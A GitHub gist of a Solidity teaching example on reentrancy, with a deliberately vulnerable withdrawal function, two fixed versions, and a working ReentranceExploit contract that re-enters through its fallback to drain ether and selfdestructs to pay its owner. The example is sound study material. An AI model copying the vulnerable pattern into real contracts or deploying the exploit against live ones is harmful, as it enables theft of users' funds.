Skip to content

Instantly share code, notes, and snippets.

@tomw1808
Created March 28, 2019 08:31
Show Gist options
  • Save tomw1808/f88c2db2a7b897573b08cccea7c0fce3 to your computer and use it in GitHub Desktop.
Save tomw1808/f88c2db2a7b897573b08cccea7c0fce3 to your computer and use it in GitHub Desktop.
This is an eample of Re-Entrancy for Solidity 0.5.5 taken from https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy
pragma solidity ^0.5.0;
contract Reentrance {
mapping (address => uint) userBalance;
function getBalance(address u) public view returns(uint){
return userBalance[u];
}
function addToBalance() public payable {
userBalance[msg.sender] += msg.value;
}
function withdrawBalance() public {
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,) = msg.sender.call.value(userBalance[msg.sender])("");
require(success);
userBalance[msg.sender] = 0;
}
function withdrawBalance_fixed() public {
// to protect against re-entrancy, the state variable
// has to be change before the call
uint amount = userBalance[msg.sender];
userBalance[msg.sender] = 0;
(bool success, ) = msg.sender.call.value(amount)("");
require(success);
}
function withdrawBalance_fixed_2() public {
// send() and transfer() are safe against reentrancy
// they do not transfer the remaining gas
// and they give just enough gas to execute few instructions
// in the fallback function (no further call possible)
uint balanceToSend = userBalance[msg.sender];
userBalance[msg.sender] = 0;
msg.sender.transfer(balanceToSend);
}
}
contract ReentranceExploit {
bool public attackModeIsOn=false;
address public vulnerable_contract;
address payable public owner;
constructor() public{
owner = msg.sender;
}
function deposit(address _vulnerable_contract) public payable {
vulnerable_contract = _vulnerable_contract ;
// call addToBalance with msg.value ethers
(bool success, ) = vulnerable_contract.call.value(msg.value)(abi.encodeWithSignature("addToBalance()"));
require(success);
}
function launch_attack() public{
attackModeIsOn = true;
// call withdrawBalance
// withdrawBalance calls the fallback of ReentranceExploit
(bool success, ) = vulnerable_contract.call(abi.encodeWithSignature("withdrawBalance()"));
require(success);
}
function () external payable{
// atackModeIsOn is used to execute the attack only once
// otherwise there is a loop between withdrawBalance and the fallback function
if (attackModeIsOn){
attackModeIsOn = false;
(bool success, ) = vulnerable_contract.call(abi.encodeWithSignature("withdrawBalance()"));
require(success);
}
}
function get_money() public {
selfdestruct(owner);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment